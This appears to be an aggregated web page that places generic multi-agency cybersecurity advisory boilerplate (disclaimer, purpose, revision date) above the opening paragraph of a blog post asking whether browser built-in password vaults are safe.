The information you have accessed or received is being provided “as is” for informational purposes only. CISA, the FBI, NSA, CCCS, NCSC-NZ, CERT-NZ, NCSC-NL, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring.

Purpose

This document was developed by CISA, the FBI, NSA, CCCS, NCSC-NZ, CERT-NZ, NCSC-NL, and NCSC-UK in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. 

Revisions

  • May 17, 2022: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Use Your Browser Internal Password Vault… or Not?, (Tue, May 17th)

This post was originally published on this site

Passwords… a so hot topic! Recently big players (Microsoft, Apple & Google) announced that they would like to suppress (or, at least, reduce) the use of classic passwords[1]. In the meantime, they remain the most common way to authenticate users against many online services. Modern Browsers offer lightweight password management tools ("vaults") that help users to save their passwords in a central repository. So they don't have to remember them, and they follow the golden rule that we, infosec people, are recommending for a long time: to not share passwords across services. But it is really safe?